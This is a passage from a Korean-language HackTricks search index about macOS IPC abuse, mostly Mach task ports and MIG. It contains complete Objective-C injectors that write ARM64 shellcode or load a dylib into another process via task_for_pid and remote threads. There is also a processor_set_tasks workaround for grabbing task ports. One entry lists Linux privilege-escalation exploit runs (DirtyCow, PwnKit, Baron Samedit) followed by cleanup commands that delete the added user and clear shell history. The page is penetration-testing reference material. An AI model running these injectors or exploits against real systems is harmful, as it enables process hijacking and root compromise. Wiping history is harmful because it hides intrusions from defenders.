호출하여 이 포트를 얻을 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » Thread Ports","id":"2406","title":"Thread Ports"},"2407":{"body":"다음에서 shellcode를 가져올 수 있습니다: Introduction to ARM64v8 mysleep.m\\nentitlements.plist objectivec // clang -framework Foundation mysleep.m -o mysleep\\n// codesign --entitlements entitlements.plist -s - mysleep #import double performMathOperations() {\\ndouble result = 0;\\nfor (int i = 0; i < 10000; i++) {\\nresult += sqrt(i) * tan(i) - cos(i);\\n}\\nreturn result;\\n} int main(int argc, const char * argv[]) {\\n@autoreleasepool {\\nNSLog(@\\"Process ID: %d\\", [[NSProcessInfo processInfo]\\nprocessIdentifier]);\\nwhile (true) {\\n[NSThread sleepForTimeInterval:5]; performMathOperations(); // Silent action [NSThread sleepForTimeInterval:5];\\n}\\n}\\nreturn 0;\\n} xml \\n\\n\\ncom.apple.security.get-task-allow\\n\\n\\n 이전 프로그램을 컴파일 하고 동일한 사용자로 코드를 주입할 수 있도록 권한 을 추가합니다 (그렇지 않으면 sudo 를 사용해야 합니다). sc_injector.m\\nobjectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector\\n// Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669\\n// and on https://newosxbook.com/src.jl?tree=listings&file=inject.c #import \\n#import \\n#include \\n#include #ifdef __arm64__ kern_return_t mach_vm_allocate\\n(\\nvm_map_t target,\\nmach_vm_address_t *address,\\nmach_vm_size_t size,\\nint flags\\n); kern_return_t mach_vm_write\\n(\\nvm_map_t target_task,\\nmach_vm_address_t address,\\nvm_offset_t data,\\nmach_msg_type_number_t dataCnt\\n); #else\\n#include \\n#endif #define STACK_SIZE 65536\\n#define CODE_SIZE 128 // ARM64 shellcode that executes touch /tmp/lalala\\nchar injectedCode[] = \\"\\\\xff\\\\x03\\\\x01\\\\xd1\\\\xe1\\\\x03\\\\x00\\\\x91\\\\x60\\\\x01\\\\x00\\\\x10\\\\x20\\\\x00\\\\x00\\\\xf9\\\\x60\\\\x01\\\\x00\\\\x10\\\\x20\\\\x04\\\\x00\\\\xf9\\\\x40\\\\x01\\\\x00\\\\x10\\\\x20\\\\x08\\\\x00\\\\xf9\\\\x3f\\\\x0c\\\\x00\\\\xf9\\\\x80\\\\x00\\\\x00\\\\x10\\\\xe2\\\\x03\\\\x1f\\\\xaa\\\\x70\\\\x07\\\\x80\\\\xd2\\\\x01\\\\x00\\\\x00\\\\xd4\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x00\\\\x2d\\\\x63\\\\x00\\\\x00\\\\x74\\\\x6f\\\\x75\\\\x63\\\\x68\\\\x20\\\\x2f\\\\x74\\\\x6d\\\\x70\\\\x2f\\\\x6c\\\\x61\\\\x6c\\\\x61\\\\x6c\\\\x61\\\\x00\\"; int inject(pid_t pid){ task_t remoteTask; // Get access to the task port of the process we want to inject into\\nkern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);\\nif (kr != KERN_SUCCESS) {\\nfprintf (stderr, \\"Unable to call task_for_pid on pid %d: %d. Cannot continue!\\\\n\\",pid, kr);\\nreturn (-1);\\n}\\nelse{\\nprintf(\\"Gathered privileges over the task port of process: %d\\\\n\\", pid);\\n} // Allocate memory for the stack\\nmach_vm_address_t remoteStack64 = (vm_address_t) NULL;\\nmach_vm_address_t remoteCode64 = (vm_address_t) NULL;\\nkr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); if (kr != KERN_SUCCESS)\\n{\\nfprintf(stderr,\\"Unable to allocate memory for remote stack in thread: Error %s\\\\n\\", mach_error_string(kr));\\nreturn (-2);\\n}\\nelse\\n{ fprintf (stderr, \\"Allocated remote stack @0x%llx\\\\n\\", remoteStack64);\\n} // Allocate memory for the code\\nremoteCode64 = (vm_address_t) NULL;\\nkr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); if (kr != KERN_SUCCESS)\\n{\\nfprintf(stderr,\\"Unable to allocate memory for remote code in thread: Error %s\\\\n\\", mach_error_string(kr));\\nreturn (-2);\\n} // Write the shellcode to the allocated memory\\nkr = mach_vm_write(remoteTask, // Task port\\nremoteCode64, // Virtual Address (Destination)\\n(vm_address_t) injectedCode, // Source\\n0xa9); // Length of the source if (kr != KERN_SUCCESS)\\n{\\nfprintf(stderr,\\"Unable to write remote thread memory: Error %s\\\\n\\", mach_error_string(kr));\\nreturn (-3);\\n} // Set the permissions on the allocated code memory\\nkr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); if (kr != KERN_SUCCESS)\\n{\\nfprintf(stderr,\\"Unable to set memory permissions for remote thread\'s code: Error %s\\\\n\\", mach_error_string(kr));\\nreturn (-4);\\n} // Set the permissions on the allocated stack memory\\nkr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); if (kr != KERN_SUCCESS)\\n{\\nfprintf(stderr,\\"Unable to set memory permissions for remote thread\'s stack: Error %s\\\\n\\", mach_error_string(kr));\\nreturn (-4);\\n} // Create thread to run shellcode\\nstruct arm_unified_thread_state remoteThreadState64;\\nthread_act_t remoteThread; memset(&remoteThreadState64, \'\\\\0\', sizeof(remoteThreadState64) ); remoteStack64 += (STACK_SIZE / 2); // this is the real stack\\n//remoteStack64 -= 8; // need alignment of 16 const char* p = (const char*) remoteCode64; remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;\\nremoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;\\nremoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;\\nremoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; printf (\\"Remote Stack 64 0x%llx, Remote code is %p\\\\n\\", remoteStack64, p ); kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,\\n(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); if (kr != KERN_SUCCESS) {\\nfprintf(stderr,\\"Unable to create remote thread: error %s\\", mach_error_string (kr));\\nreturn (-3);\\n} return (0);\\n} pid_t pidForProcessName(NSString *processName) {\\nNSArray *arguments = @[@\\"pgrep\\", processName];\\nNSTask *task = [[NSTask alloc] init];\\n[task setLaunchPath:@\\"/usr/bin/env\\"];\\n[task setArguments:arguments]; NSPipe *pipe = [NSPipe pipe];\\n[task setStandardOutput:pipe]; NSFileHandle *file = [pipe fileHandleForReading]; [task launch]; NSData *data = [file readDataToEndOfFile];\\nNSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; return (pid_t)[string integerValue];\\n} BOOL isStringNumeric(NSString *str) {\\nNSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];\\nNSRange r = [str rangeOfCharacterFromSet: nonNumbers];\\nreturn r.location == NSNotFound;\\n} int main(int argc, const char * argv[]) {\\n@autoreleasepool {\\nif (argc < 2) {\\nNSLog(@\\"Usage: %s \\", argv[0]);\\nreturn 1;\\n} NSString *arg = [NSString stringWithUTF8String:argv[1]];\\npid_t pid; if (isStringNumeric(arg)) {\\npid = [arg intValue];\\n} else {\\npid = pidForProcessName(arg);\\nif (pid == 0) {\\nNSLog(@\\"Error: Process named \'%@\' not found.\\", arg);\\nreturn 1;\\n}\\nelse{\\nprintf(\\"Found PID of process \'%s\': %d\\\\n\\", [arg UTF8String], pid);\\n}\\n} inject(pid);\\n} return 0;\\n} bash gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject\\n./inject tip iOS에서 작동하려면 dynamic-codesigning 권한이 필요하여 쓰기 가능한 메모리 실행 파일을 만들 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » Task 포트를 통한 스레드의 Shellcode 주입","id":"2407","title":"Task 포트를 통한 스레드의 Shellcode 주입"},"2408":{"body":"macOS에서 스레드 는 Mach 또는 posix pthread api 를 사용하여 조작할 수 있습니다. 이전 주입에서 생성한 스레드는 Mach api를 사용하여 생성되었으므로 posix 호환성이 없습니다 . posix 호환 api와 작업할 필요가 없었기 때문에 간단한 쉘코드 를 주입하여 명령을 실행할 수 있었습니다. 더 복잡한 주입 은 스레드 가 또한 posix 호환성 을 가져야 합니다. 따라서 스레드 를 개선하기 위해 **pthread_create_from_mach_thread**를 호출해야 하며, 이는 유효한 pthread 를 생성합니다. 그런 다음, 이 새로운 pthread는 dlopen 을 호출하여 시스템에서 dylib 를 로드 할 수 있으므로, 다양한 작업을 수행하기 위해 새로운 쉘코드를 작성하는 대신 사용자 정의 라이브러리를 로드할 수 있습니다. 예제 dylibs 는 다음에서 찾을 수 있습니다 (예를 들어 로그를 생성하고 이를 들을 수 있는 것): macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES dylib_injector.m\\nobjectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector\\n// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c\\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include #include \\n#include #ifdef __arm64__\\n//#include \\"mach/arm/thread_status.h\\" // Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported\\n// And I say, bullshit.\\nkern_return_t mach_vm_allocate\\n(\\nvm_map_t target,\\nmach_vm_address_t *address,\\nmach_vm_size_t size,\\nint flags\\n); kern_return_t mach_vm_write\\n(\\nvm_map_t target_task,\\nmach_vm_address_t address,\\nvm_offset_t data,\\nmach_msg_type_number_t dataCnt\\n); #else\\n#include \\n#endif #define STACK_SIZE 65536\\n#define CODE_SIZE 128 char injectedCode[] = // \\"\\\\x00\\\\x00\\\\x20\\\\xd4\\" // BRK X0 ; // useful if you need a break :) // Call pthread_set_self \\"\\\\xff\\\\x83\\\\x00\\\\xd1\\" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables\\n\\"\\\\xFD\\\\x7B\\\\x01\\\\xA9\\" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack\\n\\"\\\\xFD\\\\x43\\\\x00\\\\x91\\" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer\\n\\"\\\\xff\\\\x43\\\\x00\\\\xd1\\" // SUB SP, SP, #0x10 ; Space for the\\n\\"\\\\xE0\\\\x03\\\\x00\\\\x91\\" // MOV X0, SP ; (arg0)Store in the stack the thread struct\\n\\"\\\\x01\\\\x00\\\\x80\\\\xd2\\" // MOVZ X1, 0 ; X1 (arg1) = 0;\\n\\"\\\\xA2\\\\x00\\\\x00\\\\x10\\" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start\\n\\"\\\\x03\\\\x00\\\\x80\\\\xd2\\" // MOVZ X3, 0 ; X3 (arg3) = 0;\\n\\"\\\\x68\\\\x01\\\\x00\\\\x58\\" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)\\n\\"\\\\x00\\\\x01\\\\x3f\\\\xd6\\" // BLR X8 ; call pthread_create_from_mach_thread\\n\\"\\\\x00\\\\x00\\\\x00\\\\x14\\" // loop: b loop ; loop forever // Call dlopen with the path to the library\\n\\"\\\\xC0\\\\x01\\\\x00\\\\x10\\" // ADR X0, #56 ; X0 => \\"LIBLIBLIB...\\";\\n\\"\\\\x68\\\\x01\\\\x00\\\\x58\\" // LDR X8, #44 ; load DLOPEN\\n\\"\\\\x01\\\\x00\\\\x80\\\\xd2\\" // MOVZ X1, 0 ; X1 = 0;\\n\\"\\\\x29\\\\x01\\\\x00\\\\x91\\" // ADD x9, x9, 0 - I left this as a nop\\n\\"\\\\x00\\\\x01\\\\x3f\\\\xd6\\" // BLR X8 ; do dlopen() // Call pthread_exit\\n\\"\\\\xA8\\\\x00\\\\x00\\\\x58\\" // LDR X8, #20 ; load PTHREADEXT\\n\\"\\\\x00\\\\x00\\\\x80\\\\xd2\\" // MOVZ X0, 0 ; X1 = 0;\\n\\"\\\\x00\\\\x01\\\\x3f\\\\xd6\\" // BLR X8 ; do pthread_exit \\"PTHRDCRT\\" // <-\\n\\"PTHRDEXT\\" // <-\\n\\"DLOPEN__\\" // <-\\n\\"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB\\"\\n\\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\"\\n\\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\"\\n\\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\"\\n\\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\"\\n\\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" \\"\\\\x00\\" ; int inject(pid_t pid, const char *lib) { task_t remoteTask;\\nstruct stat buf; // Check if the library exists\\nint rc = stat (lib, &buf); if (rc != 0)\\n{\\nfprintf (stderr, \\"Unable to open library file %s (%s) - Cannot inject\\\\n\\", lib,strerror (errno));\\n//return (-9);\\n} // Get access to the task port of the process we want to inject into\\nkern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);\\nif (kr != KERN_SUCCESS) {\\nfprintf (stderr, \\"Unable to call task_for_pid on pid %d: %d. Cannot continue!\\\\n\\",pid, kr);\\nreturn (-1);\\n}\\nelse{\\nprintf(\\"Gathered privileges over the task port of process: %d\\\\n\\", pid);\\n} // Allocate memory for the stack\\nmach_vm_address_t remoteStack64 = (vm_address_t) NULL;\\nmach_vm_address_t remoteCode64 = (vm_address_t) NULL;\\nkr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); if (kr != KERN_SUCCESS)\\n{\\nfprintf(stderr,\\"Unable to allocate memory for remote stack in thread: Error %s\\\\n\\", mach_error_string(kr));\\nreturn (-2);\\n}\\nelse\\n{ fprintf (stderr, \\"Allocated remote stack @0x%llx\\\\n\\", remoteStack64);\\n} // Allocate memory for the code\\nremoteCode64 = (vm_address_t) NULL;\\nkr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); if (kr != KERN_SUCCESS)\\n{\\nfprintf(stderr,\\"Unable to allocate memory for remote code in thread: Error %s\\\\n\\", mach_error_string(kr));\\nreturn (-2);\\n} // Patch shellcode int i = 0;\\nchar *possiblePatchLocation = (injectedCode );\\nfor (i = 0 ; i < 0x100; i++)\\n{ // Patching is crude, but works.\\n//\\nextern void *_pthread_set_self;\\npossiblePatchLocation++; uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, \\"pthread_create_from_mach_thread\\"); //(uint64_t) pthread_create_from_mach_thread;\\nuint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, \\"pthread_exit\\"); //(uint64_t) pthread_exit;\\nuint64_t addrOfDlopen = (uint64_t) dlopen; if (memcmp (possiblePatchLocation, \\"PTHRDEXT\\", 8) == 0)\\n{\\nmemcpy(possiblePatchLocation, &addrOfPthreadExit,8);\\nprintf (\\"Pthread exit @%llx, %llx\\\\n\\", addrOfPthreadExit, pthread_exit);\\n} if (memcmp (possiblePatchLocation, \\"PTHRDCRT\\", 8) == 0)\\n{\\nmemcpy(possiblePatchLocation, &addrOfPthreadCreate,8);\\nprintf (\\"Pthread create from mach thread @%llx\\\\n\\", addrOfPthreadCreate);\\n} if (memcmp(possiblePatchLocation, \\"DLOPEN__\\", 6) == 0)\\n{\\nprintf (\\"DLOpen @%llx\\\\n\\", addrOfDlopen);\\nmemcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));\\n} if (memcmp(possiblePatchLocation, \\"LIBLIBLIB\\", 9) == 0)\\n{\\nstrcpy(possiblePatchLocation, lib );\\n}\\n} // Write the shellcode to the allocated memory\\nkr = mach_vm_write(remoteTask, // Task port\\nremoteCode64, // Virtual Address (Destination)\\n(vm_address_t) injectedCode, // Source\\n0xa9); // Length of the source if (kr != KERN_SUCCESS)\\n{\\nfprintf(stderr,\\"Unable to write remote thread memory: Error %s\\\\n\\", mach_error_string(kr));\\nreturn (-3);\\n} // Set the permissions on the allocated code memory\\nkr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); if (kr != KERN_SUCCESS)\\n{\\nfprintf(stderr,\\"Unable to set memory permissions for remote thread\'s code: Error %s\\\\n\\", mach_error_string(kr));\\nreturn (-4);\\n} // Set the permissions on the allocated stack memory\\nkr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); if (kr != KERN_SUCCESS)\\n{\\nfprintf(stderr,\\"Unable to set memory permissions for remote thread\'s stack: Error %s\\\\n\\", mach_error_string(kr));\\nreturn (-4);\\n} // Create thread to run shellcode\\nstruct arm_unified_thread_state remoteThreadState64;\\nthread_act_t remoteThread; memset(&remoteThreadState64, \'\\\\0\', sizeof(remoteThreadState64) ); remoteStack64 += (STACK_SIZE / 2); // this is the real stack\\n//remoteStack64 -= 8; // need alignment of 16 const char* p = (const char*) remoteCode64; remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;\\nremoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;\\nremoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;\\nremoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; printf (\\"Remote Stack 64 0x%llx, Remote code is %p\\\\n\\", remoteStack64, p ); kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,\\n(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); if (kr != KERN_SUCCESS) {\\nfprintf(stderr,\\"Unable to create remote thread: error %s\\", mach_error_string (kr));\\nreturn (-3);\\n} return (0);\\n} int main(int argc, const char * argv[])\\n{\\nif (argc < 3)\\n{\\nfprintf (stderr, \\"Usage: %s _pid_ _action_\\\\n\\", argv[0]);\\nfprintf (stderr, \\" _action_: path to a dylib on disk\\\\n\\");\\nexit(0);\\n} pid_t pid = atoi(argv[1]);\\nconst char *action = argv[2];\\nstruct stat buf; int rc = stat (action, &buf);\\nif (rc == 0) inject(pid,action);\\nelse\\n{\\nfprintf(stderr,\\"Dylib not found\\\\n\\");\\n} } bash gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector\\n./inject ","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » Task 포트를 통한 스레드에서의 Dylib 주입","id":"2408","title":"Task 포트를 통한 스레드에서의 Dylib 주입"},"2409":{"body":"이 기술에서는 프로세스의 스레드가 하이재킹됩니다: macOS Thread Injection via Task port","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » Thread Hijacking via Task port","id":"2409","title":"Thread Hijacking via Task port"},"241":{"body":"bash # DirtyCow – CVE-2016-5195\\ngcc -pthread dirty.c -o dirty && ./dirty /etc/passwd # PwnKit – CVE-2021-4034\\npython3 PwnKit.py # Sudo Baron Samedit – CVE-2021-3156\\npython3 exploit_userspec.py 정리 팁: bash userdel firefart 2>/dev/null\\nrm -f /tmp/sh ; history -c","breadcrumbs":"Pentesting Network » Telecom Network Exploitation » 7. 구형 NE에서의 Privilege Escalation","id":"241","title":"7. 구형 NE에서의 Privilege Escalation"},"2410":{"body":"task_for_pid 또는 thread_create_*를 호출할 때 커널의 struct task에서 카운터가 증가하며, 이는 사용자 모드에서 task_info(task, TASK_EXTMOD_INFO, ...)를 호출하여 접근할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » Task Port Injection Detection","id":"2410","title":"Task Port Injection Detection"},"2411":{"body":"스레드에서 예외가 발생하면 이 예외는 스레드의 지정된 예외 포트로 전송됩니다. 스레드가 이를 처리하지 않으면 작업 예외 포트로 전송됩니다. 작업이 이를 처리하지 않으면 호스트 포트로 전송되며, 이는 launchd에 의해 관리됩니다(여기서 인식됩니다). 이를 예외 분류라고 합니다. 보통 적절히 처리되지 않으면 보고서는 ReportCrash 데몬에 의해 처리됩니다. 그러나 같은 작업의 다른 스레드가 예외를 관리할 수 있으며, 이것이 PLCreashReporter와 같은 크래시 보고 도구가 하는 일입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » Exception Ports","id":"2411","title":"Exception Ports"},"2412":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » Other Objects","id":"2412","title":"Other Objects"},"2413":{"body":"모든 사용자는 시계에 대한 정보를 접근할 수 있지만, 시간을 설정하거나 다른 설정을 수정하려면 루트 권한이 필요합니다. 정보를 얻기 위해 clock 서브시스템의 함수인 clock_get_time, clock_get_attributtes 또는 clock_alarm을 호출할 수 있습니다. 값을 수정하기 위해 clock_priv 서브시스템을 사용하여 clock_set_time 및 clock_set_attributes와 같은 함수를 사용할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » Clock","id":"2413","title":"Clock"},"2414":{"body":"프로세서 API는 processor_start, processor_exit, processor_info, processor_get_assignment와 같은 함수를 호출하여 단일 논리 프로세서를 제어할 수 있게 해줍니다. 게다가, 프로세서 세트 API는 여러 프로세서를 그룹으로 묶는 방법을 제공합니다. 기본 프로세서 세트를 검색하려면 **processor_set_default**를 호출하면 됩니다. 프로세서 세트와 상호작용하기 위한 몇 가지 흥미로운 API는 다음과 같습니다: processor_set_statistics processor_set_tasks: 프로세서 세트 내의 모든 작업에 대한 전송 권한 배열을 반환합니다. processor_set_threads: 프로세서 세트 내의 모든 스레드에 대한 전송 권한 배열을 반환합니다. processor_set_stack_usage processor_set_info 이 게시물 에서 언급했듯이, 과거에는 이 기능을 사용하여 다른 프로세스의 작업 포트를 얻고 **processor_set_tasks**를 호출하여 이를 제어할 수 있었습니다. 현재는 이 기능을 사용하려면 루트 권한이 필요하며, 보호되어 있어 보호되지 않은 프로세스에서만 이러한 포트를 얻을 수 있습니다. 다음과 같이 시도해 볼 수 있습니다: processor_set_tasks code\\n`c // Maincpart fo the code from https://newosxbook.com/articles/PST2.html\\n//gcc ./port_pid.c -o port_pid #include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include mach_port_t task_for_pid_workaround(int Pid)\\n{ host_t myhost = mach_host_self(); // host self is host priv if you\'re root anyway..\\nmach_port_t psDefault;\\nmach_port_t psDefault_control; task_array_t tasks;\\nmach_msg_type_number_t numTasks;\\nint i; thread_array_t threads;\\nthread_info_data_t tInfo; kern_return_t kr; kr = processor_set_default(myhost, &psDefault); kr = host_processor_set_priv(myhost, psDefault, &psDefault_control);\\nif (kr != KERN_SUCCESS) { fprintf(stderr, \\"host_processor_set_priv failed with error %x\\\\n\\", kr);\\nmach_error(\\"host_processor_set_priv\\",kr); exit(1);} printf(\\"So far so good\\\\n\\"); kr = processor_set_tasks(psDefault_control, &tasks, &numTasks);\\nif (kr != KERN_SUCCESS) { fprintf(stderr,\\"processor_set_tasks failed with error %x\\\\n\\",kr); exit(1); } for (i = 0; i < numTasks; i++)\\n{\\nint pid;\\npid_for_task(tasks[i], &pid);\\nprintf(\\"TASK %d PID :%d\\\\n\\", i,pid);\\nchar pathbuf[PROC_PIDPATHINFO_MAXSIZE];\\nif (proc_pidpath(pid, pathbuf, sizeof(pathbuf)) > 0) {\\nprintf(\\"Command line: %s\\\\n\\", pathbuf);\\n} else {\\nprintf(\\"proc_pidpath failed: %s\\\\n\\", strerror(errno));\\n}\\nif (pid == Pid){\\nprintf(\\"Found\\\\n\\");\\nreturn (tasks[i]);\\n}\\n} return (MACH_PORT_NULL);\\n} // end workaround int main(int argc, char *argv[]) {\\n/*if (argc != 2) {\\nfprintf(stderr, \\"Usage: %s \\\\n\\", argv[0]);\\nreturn 1;\\n} pid_t pid = atoi(argv[1]);\\nif (pid <= 0) {\\nfprintf(stderr, \\"Invalid PID. Please enter a numeric value greater than 0.\\\\n\\");\\nreturn 1;\\n}*/ int pid = 1; task_for_pid_workaround(pid);\\nreturn 0;\\n} ```","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » Processors and Processor Set","id":"2414","title":"Processors and Processor Set"},"2415":{"body":"Reading time: 10 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS MIG - Mach Interface Generator » macOS MIG - Mach Interface Generator","id":"2415","title":"macOS MIG - Mach Interface Generator"},"2416":{"body":"MIG는 Mach IPC 코드 생성을 단순화하기 위해 만들어졌습니다. 기본적으로 서버와 클라이언트가 주어진 정의로 통신하기 위해 필요한 코드를 생성 합니다. 생성된 코드가 보기 좋지 않더라도, 개발자는 이를 가져오기만 하면 그의 코드는 이전보다 훨씬 간단해질 것입니다. 정의는 인터페이스 정의 언어(IDL)에서 .defs 확장자를 사용하여 지정됩니다. 이 정의는 5개의 섹션으로 구성됩니다: 서브시스템 선언 : 키워드 subsystem은 이름 과 id 를 나타내는 데 사용됩니다. 서버가 커널에서 실행되어야 하는 경우 **KernelServer**로 표시할 수도 있습니다. 포함 및 임포트 : MIG는 C 전처리기를 사용하므로 임포트를 사용할 수 있습니다. 또한, 사용자 또는 서버 생성 코드에 대해 uimport 및 simport를 사용할 수 있습니다. 타입 선언 : 데이터 타입을 정의할 수 있지만, 일반적으로 mach_types.defs 및 std_types.defs를 가져옵니다. 사용자 정의 타입의 경우 일부 구문을 사용할 수 있습니다: [in/out]tran: 들어오는 메시지 또는 나가는 메시지로 변환해야 하는 함수 c[user/server]type: 다른 C 타입에 매핑. destructor: 타입이 해제될 때 이 함수를 호출합니다. 작업 : RPC 메서드의 정의입니다. 5가지 유형이 있습니다: routine: 응답을 기대합니다. simpleroutine: 응답을 기대하지 않습니다. procedure: 응답을 기대합니다. simpleprocedure: 응답을 기대하지 않습니다. function: 응답을 기대합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS MIG - Mach Interface Generator » Basic Information","id":"2416","title":"Basic Information"},"2417":{"body":"정의 파일을 생성합니다. 이 경우 매우 간단한 함수를 사용합니다: myipc.defs subsystem myipc 500; // Arbitrary name and id userprefix USERPREF; // Prefix for created functions in the client\\nserverprefix SERVERPREF; // Prefix for created functions in the server #include \\n#include simpleroutine Subtract(\\nserver_port : mach_port_t;\\nn1 : uint32_t;\\nn2 : uint32_t); 첫 번째 인자는 바인딩할 포트 이며 MIG는 응답 포트를 자동으로 처리 합니다(클라이언트 코드에서 mig_get_reply_port()를 호출하지 않는 한). 또한, 작업의 ID는 지정된 서브시스템 ID부터 순차적 으로 시작됩니다(작업이 더 이상 사용되지 않는 경우 삭제되고 skip이 사용되어 여전히 해당 ID를 사용할 수 있습니다). 이제 MIG를 사용하여 서로 통신할 수 있는 서버 및 클라이언트 코드를 생성하여 Subtract 함수를 호출하십시오: bash mig -header myipcUser.h -sheader myipcServer.h myipc.defs 현재 디렉토리에 여러 개의 새로운 파일이 생성됩니다. tip 시스템에서 더 복잡한 예제를 찾으려면: mdfind mach_port.defs 그리고 파일과 동일한 폴더에서 컴파일하려면: mig -DLIBSYSCALL_INTERFACE mach_ports.defs 파일 **myipcServer.c**와 **myipcServer.h**에서 수신된 메시지 ID에 따라 호출할 함수를 정의하는 구조체 **SERVERPREFmyipc_subsystem**의 선언 및 정의를 찾을 수 있습니다(시작 번호로 500을 지정했습니다): myipcServer.c\\nmyipcServer.h c /* Description of this subsystem, for use in direct RPC */\\nconst struct SERVERPREFmyipc_subsystem SERVERPREFmyipc_subsystem = {\\nmyipc_server_routine,\\n500, // start ID\\n501, // end ID\\n(mach_msg_size_t)sizeof(union 